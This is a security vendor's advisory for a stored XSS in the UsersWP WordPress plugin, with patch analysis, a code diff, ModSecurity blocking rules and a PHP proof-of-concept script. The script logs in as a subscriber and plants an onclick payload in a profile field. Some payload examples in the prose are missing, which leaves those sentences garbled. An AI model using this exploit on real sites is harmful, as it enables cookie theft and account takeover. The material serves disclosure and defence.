Published : November 27, 2026

CVE-2026-136517: UsersWP <= 1.2.83 Authenticated (Subscriber+) Stored DOM-Based Cross-Site Scripting via editor-type Account field (e.g. 'about_work') with wrapper PoC, Patch Analysis & Rule

Plugin userswp
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.2.83
Patched Version 1.2.84
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-136517:

This vulnerability is a stored DOM-based cross-site scripting flaw in the UsersWP WordPress plugin versions up to and including 1.2.83. It affects editor-type Account fields (e.g., ‘about_work’) that administrators configure with public visibility and directory display. An authenticated attacker with subscriber-level access can inject malicious HTML that executes in the browser of any user viewing the affected profile or directory page. The CVSS score is 6.4 (medium severity), and the weakness is CWE-79 (Improper Neutralization of Input During Web Page Generation).

The root cause lies in insufficient sanitization of editor field values. In includes/class-profile.php line 489, the plugin processes the ‘editor’ field type and applies only wp_kses_post() to the value before using nl2br(). Similarly, in includes/class-validation.php line 183, the plugin sanitizes editor values from user input with wp_kses_post(strip_shortcodes($value)). Both functions allow class attributes to pass through unchanged. The plugin’s JavaScript uses specific CSS classes such as ‘uwp_more’ as behavior hooks to create expandable content sections. An attacker can inject a element that, when processed by the plugin’s client-side script, becomes a DOM-based XSS sink. The patch introduces uwp_sanitize_editor_value() in includes/helpers/misc.php line 2224, which runs wp_kses_post() and then strips reserved class names (‘uwp_more’, ‘uwp_more_link’, ‘uwp_more_content’, ‘uwp_more_ellipses’) from class attributes. This function is called in both the profile rendering and validation paths.

Exploitation requires the attacker to be authenticated as a subscriber or higher. The attacker submits a crafted value to an editor-type Account field via the profile edit form or a similar endpoint. The payload contains a wrapper, potentially combined with an event handler or a script injection, which survives wp_kses_post() because the class attribute is permitted. When any user (including administrators) views the profile or directory page, the plugin’s JavaScript processes the ‘uwp_more’ class, leading to DOM manipulation that executes the attacker’s script. The exact endpoint is the profile update form, typically /profile/ or /user/{username}/profile/, where editor fields are submitted. The payload could be: Click me or a more obfuscated script.

The patch fixes the issue by adding uwp_sanitize_editor_value() in includes/helpers/misc.php. This function first applies wp_kses_post() to sanitize general HTML, then iterates over class attributes and removes any classes listed in the reserved array (filterable via ‘uwp_editor_reserved_classes’). The reserved classes include ‘uwp_more’, ‘uwp_more_link’, ‘uwp_more_content’, and ‘uwp_more_ellipses’. By stripping these behavior-hook classes, the patch prevents the plugin’s JavaScript from attaching to user-controlled content, thus breaking the DOM-based XSS vector. The function is called in class-profile.php (line 489) and class-validation.php (line 183), ensuring both rendering and input sanitization paths are protected. Before the patch, editor values could contain these classes; after the patch, they are removed.

If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of other users’ browsers. This can lead to session hijacking, theft of sensitive data (cookies, tokens), defacement of the site, or redirection to malicious domains. An attacker could also perform actions on behalf of the victim, including privilege escalation if an administrator views the infected page. The stored nature means the payload persists and affects all visitors to the compromised profile or directory, making it a persistent threat until removed.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/userswp/includes/class-profile.php
+++ b/userswp/includes/class-profile.php
@@ -489,7 +489,7 @@
 				$value = nl2br( $value );
 				break;
 			case 'editor':
-                $value = wp_kses_post( $value );
+                $value = uwp_sanitize_editor_value( $value );
                 $value = nl2br( $value );
 				break;
 			default:
--- a/userswp/includes/class-validation.php
+++ b/userswp/includes/class-validation.php
@@ -183,7 +183,7 @@
                             break;

 	                    case 'editor':
-		                    $sanitized_value = wp_kses_post( strip_shortcodes( $value ) );
+		                    $sanitized_value = uwp_sanitize_editor_value( strip_shortcodes( $value ) );
 		                    break;

                         case 'url':
--- a/userswp/includes/helpers/misc.php
+++ b/userswp/includes/helpers/misc.php
@@ -2224,3 +2224,49 @@
 	return $user;
 }
 add_filter( 'wp_authenticate_user', 'uwp_block_legacy_dummy_users_password', 10, 2 );
+
+/**
+ * Sanitize user submitted HTML from an editor type field.
+ *
+ * Runs wp_kses_post() and then removes class names that UsersWP JavaScript uses
+ * as behaviour hooks (e.g. "uwp_more") so that users can't attach plugin
+ * scripts to their own content.
+ *
+ * @since 1.2.84
+ *
+ * @param string $value Raw or stored value.
+ *
+ * @return string Sanitized HTML.
+ */
+function uwp_sanitize_editor_value( $value ) {
+	if ( ! is_scalar( $value ) || $value === '' ) {
+		return '';
+	}
+
+	$value = wp_kses_post( (string) $value );
+
+	$reserved = apply_filters( 'uwp_editor_reserved_classes', array( 'uwp_more', 'uwp_more_link', 'uwp_more_content', 'uwp_more_ellipses' ) );
+
+	if ( ! empty( $reserved ) && stripos( $value, 'class' ) !== false ) {
+		$reserved = array_map( 'strtolower', (array) $reserved );
+
+		// wp_kses() normalizes attributes to name="value" form.
+		$value = preg_replace_callback(
+			'/(sclasss*=s*")([^"]*)(")/i',
+			function ( $matches ) use ( $reserved ) {
+				$classes = preg_split( '/s+/', trim( $matches[2] ) );
+				$classes = array_filter(
+					$classes,
+					function ( $class ) use ( $reserved ) {
+						return $class !== '' && ! in_array( strtolower( $class ), $reserved, true );
+					}
+				);
+
+				return $matches[1] . implode( ' ', $classes ) . $matches[3];
+			},
+			$value
+		);
+	}
+
+	return $value;
+}
--- a/userswp/userswp.php
+++ b/userswp/userswp.php
@@ -3,7 +3,7 @@
 Plugin Name: UsersWP
 Plugin URI: https://userswp.io/
 Description: The only lightweight user profile plugin for WordPress. UsersWP features front end user profile, users directory, a registration and a login form.
-Version: 1.2.83
+Version: 1.2.84
 Author: AyeCode Ltd
 Author URI: https://userswp.io
 License: GPL-2.0+
@@ -24,7 +24,7 @@
 }

 if ( ! defined( 'USERSWP_VERSION' ) ) {
-	define( 'USERSWP_VERSION', '1.2.83' );
+	define( 'USERSWP_VERSION', '1.2.84' );
 }

 if ( ! defined( 'USERSWP_PATH' ) ) {
--- a/userswp/vendor/ayecode/wp-super-duper/sd-functions.php
+++ b/userswp/vendor/ayecode/wp-super-duper/sd-functions.php
@@ -3405,6 +3405,9 @@
 					if ( isset( $output_condition['message'] ) ) {
 						$content = $output_condition['message'] != '' ? __( stripslashes( $output_condition['message'] ), 'ayecode-connect' ) : $output_condition['message'];

+						// Sanitize the message to prevent XSS.
+						$content = is_scalar( $content ) ? wp_kses_post( (string) $content ) : '';
+
 						if ( ! empty( $output_condition['message_type'] ) ) {
 							$content = aui()->alert( array(
 									'type'=> $output_condition['message_type'],
--- a/userswp/vendor/ayecode/wp-super-duper/sd-plugin.php
+++ b/userswp/vendor/ayecode/wp-super-duper/sd-plugin.php
@@ -5,7 +5,7 @@
  * @wordpress-plugin
  * Plugin Name: Super Duper - Examples
  * Description: This is a Hello World test plugin for WP Super Duper Class.
- * Version: 1.2.38
+ * Version: 1.2.39
  * Author: AyeCode
  * Author URI: https://ayecode.io
  * Text Domain: super-duper
--- a/userswp/vendor/ayecode/wp-super-duper/wp-super-duper.php
+++ b/userswp/vendor/ayecode/wp-super-duper/wp-super-duper.php
@@ -5,7 +5,7 @@

 if ( ! class_exists( 'WP_Super_Duper' ) ) {

-	define( 'SUPER_DUPER_VER', '1.2.38' );
+	define( 'SUPER_DUPER_VER', '1.2.39' );

 	/**
 	 * A Class to be able to create a Widget, Shortcode or Block to be able to output content for WordPress.
--- a/userswp/vendor/composer/InstalledVersions.php
+++ b/userswp/vendor/composer/InstalledVersions.php
@@ -39,6 +39,11 @@
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;
@@ -315,6 +320,12 @@
     {
         self::$installed = $data;
         self::$installedByVendor = array();
+
+        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+        // so we have to assume it does not, and that may result in duplicate data being returned when listing
+        // all installed packages for example
+        self::$installedIsLocalDir = false;
     }

     /**
@@ -343,7 +354,9 @@
         $copiedLocalDir = false;

         if (self::$canGetVendors) {
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
@@ -351,11 +364,14 @@
                     $required = require $vendorDir.'/composer/installed.php';
                     self::$installedByVendor[$vendorDir] = $required;
                     $installed[] = $required;
-                    if (strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
+                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
                         self::$installed = $required;
-                        $copiedLocalDir = true;
+                        self::$installedIsLocalDir = true;
                     }
                 }
+                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+                    $copiedLocalDir = true;
+                }
             }
         }

--- a/userswp/vendor/composer/installed.php
+++ b/userswp/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'uswerwp/userswp',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '51f6e188549d1e97739d4d7856d9b5ca7318512c',
+        'reference' => '1a68f62d22c8e805673f96e6fc8ac45e54657a42',
         'type' => 'project',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -47,9 +47,9 @@
             'dev_requirement' => false,
         ),
         'ayecode/wp-super-duper' => array(
-            'pretty_version' => '1.2.38',
-            'version' => '1.2.38.0',
-            'reference' => '270cee3b08b837b99fa62fd9fe1edbef087f5af8',
+            'pretty_version' => '1.2.39',
+            'version' => '1.2.39.0',
+            'reference' => 'b9b03cf784ab3d655e2015bef3c9b447ef07a283',
             'type' => 'library',
             'install_path' => __DIR__ . '/../ayecode/wp-super-duper',
             'aliases' => array(),
@@ -79,7 +79,7 @@
         'uswerwp/userswp' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '51f6e188549d1e97739d4d7856d9b5ca7318512c',
+            'reference' => '1a68f62d22c8e805673f96e6fc8ac45e54657a42',
             'type' => 'project',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/userswp/vendor/composer/platform_check.php
+++ b/userswp/vendor/composer/platform_check.php
@@ -19,8 +19,7 @@
             echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
         }
     }
-    trigger_error(
-        'Composer detected issues in your platform: ' . implode(' ', $issues),
-        E_USER_ERROR
+    throw new RuntimeException(
+        'Composer detected issues in your platform: ' . implode(' ', $issues)
     );
 }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-136517
# Blocks exploitation of UsersWP editor field XSS by detecting the 'uwp_more' class in POST parameters
SecRule REQUEST_URI "@rx ^/wp-admin/admin-ajax.php$" 
  "id:20261365,phase:2,deny,status:403,chain,msg:'CVE-2026-136517 via UsersWP editor field XSS',severity:'CRITICAL',tag:'CVE-2026-136517'"
  SecRule ARGS_POST:action "@streq update_profile" "chain"
    SecRule ARGS_POST "@rx <span[^>]*class=[^>]*uwp_more" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

# Also block direct profile update POST requests with the payload
SecRule REQUEST_URI "@rx ^/profile/?$" 
  "id:20261366,phase:2,deny,status:403,chain,msg:'CVE-2026-136517 via UsersWP editor field XSS',severity:'CRITICAL',tag:'CVE-2026-136517'"
  SecRule ARGS_POST "@rx <span[^>]*class=[^>]*uwp_more" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

# Generic rule to catch payload in any POST to UsersWP endpoints, but with URI scope
SecRule REQUEST_URI "@rx ^/user/[^/]+/profile/?$" 
  "id:20261367,phase:2,deny,status:403,chain,msg:'CVE-2026-136517 via UsersWP editor field XSS',severity:'CRITICAL',tag:'CVE-2026-136517'"
  SecRule ARGS_POST "@rx <span[^>]*class=[^>]*uwp_more" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136517 - UsersWP <= 1.2.83 - Authenticated (Subscriber+) Stored DOM-Based Cross-Site Scripting via editor-type Account field (e.g. 'about_work') with <span class="uwp_more"> wrapper

$target_url = 'http://example.com'; // Configure the target WordPress site
$username = 'subscriber';           // A subscriber-level user
$password = 'password';

// Initialize cURL session
$ch = curl_init();

// Step 1: Log in as the subscriber to obtain authentication cookies
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

// Check login success (optional, requires checking for dashboard content)

// Step 2: Craft the XSS payload using the 'uwp_more' class
// The payload uses an event handler on a span with the reserved class
$payload = '<span class="uwp_more" onclick="alert(document.cookie)">Click for more</span>';

// Step 3: Submit the payload to the editor-type Account field, e.g., 'about_work'
// The profile update endpoint varies; commonly it is /profile/ or /user/{username}/profile/
// We assume the field is named 'about_work' and the form is submitted via POST
$profile_url = $target_url . '/profile/'; // Adjust based on actual configuration
$post_data = [
    'about_work' => $payload,
    'action' => 'update_profile', // May need adjustment
    'uwp_profile_nonce' => '...'  // Nonce may be required; this PoC assumes no nonce or a known nonce
];

curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$update_response = curl_exec($ch);

// Step 4: Verify the payload is stored by fetching the profile page
$public_profile_url = $target_url . '/user/' . $username . '/'; // Or the directory page
curl_setopt($ch, CURLOPT_URL, $public_profile_url);
curl_setopt($ch, CURLOPT_POST, false);
$profile_page = curl_exec($ch);

// Check if the payload appears unsanitized (the 'uwp_more' class should be present)
if (strpos($profile_page, 'uwp_more') !== false) {
    echo "[+] Payload stored successfully. Vulnerable to CVE-2026-136517.n";
} else {
    echo "[-] Payload not found or sanitized.n";
}

curl_close($ch);
unlink('cookies.txt'); // Clean up
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.